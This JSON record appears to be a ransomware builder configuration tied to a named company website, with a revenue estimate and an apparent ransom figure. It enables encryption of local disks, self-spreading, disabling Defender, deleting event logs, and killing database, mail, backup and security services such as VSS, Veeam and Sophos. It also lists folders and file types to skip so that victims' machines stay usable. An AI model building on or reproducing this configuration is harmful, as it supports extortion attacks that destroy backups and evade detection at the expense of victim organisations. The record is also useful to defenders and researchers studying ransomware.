{"buildModel": {"id": "1025", "parent_id": 0, "status": null, "decription_id": null, "userid": 69, "stealerid": null, "key_id": 0, "comment": "400k", "master_pubkey": null, "master_privkey": null, "date": 1744788638, "company_website": "ehlers-inc.com", "crypted_website": "lmt5c5Z0vmIpIC81ln1vsl+VjyEkyU+uv+pQ24Rk5UlDW+ZrLvSlSt2VLP1PCMGiMadZO7LyLBDLEPEqvwRKoHyO+7ooB09fpsZ1natAmFRNJDxIEIDvl3B/vG2y40shaCAWhv5Z3JXPeAIV+KNSg7QvzlZAxXOz4QuXYpwUY+Le7JFa1/zJiahUvoQxjyNq1hvOlqJB7e0yi+pH4p1ajP+es7yTkK8QUtJ43pqMFMz97YjVFff+LRSMMCMD2i7DrQLKVkgyWbmO2PD/mZH8h6V+tW6E/c8zpzS+w5SOO9n7p2/bjRsAd3dK3Pqv5HTst2xb6ggdQAIeYVxWTwPE97Mf76GX0SNS0YXOlmFEFCyKN99AY81D4ySUWkaMSLydzVgZOydQae4rT0zypNMKLqC5/dN3ykFSYfDsgdCVB+5OT1vPBMLFnY0o8eIdTOjjIs78Cg1+ol8Dnkbg7AOzQ0Ls7WumjeXiPIYYUaHWvr6ft2pK2gaLhfF53DPMYPbN9uP7wP49KuDGNeMLZbh4r5onAnSNcfOl/HMcwyILEfDQ1VBYULkATffsI6eHFbIXx+oWpHlOK64Lpj82UNufemXkog9pV5vMKMuzQ+Cu+dz2GiwRmLDa842o6EMneE7b9IwsR3STvL0uBMhobgX+oxvYZnHqUJ5wCXtyIP7K5Bo=", "revenue": "13kk", "delete_decryptor": true, "type": 30, "max_file_size": null, "created_at": "2025-04-16 07:30:38"}, "key": null, "revenue": "13kk", "comment": "400k", "company_website": "ehlers-inc.com", "encrypt_mode": "1", "encrypt_filename": false, "impersonation": "0", "language_check": "0", "local_disks": "1", "network_shares": "0", "kill_processes": "1", "kill_services": "1", "running_one": "0", "print_note": "1", "set_wallpaper": "1", "set_icons": "1", "spread_enabled": "0", "send_report": false, "delete_eventlogs": "1", "self_spread": "1", "self_destruct": "0", "kill_defender": "1", "wipe_free_space": "0", "skip_hidden_folders": "0", "shutdown_system": "0", "gpo_ps_update": "1", "impers_accounts": "", "white_folders": "$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;appdata;application data;boot;google;mozilla;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default", "white_files": "autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db", "white_extens": "386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb", "white_hosts": "", "delete_gpo_delay": "60", "kill_processes_list": "sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad", "kill_services_list": "vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr"}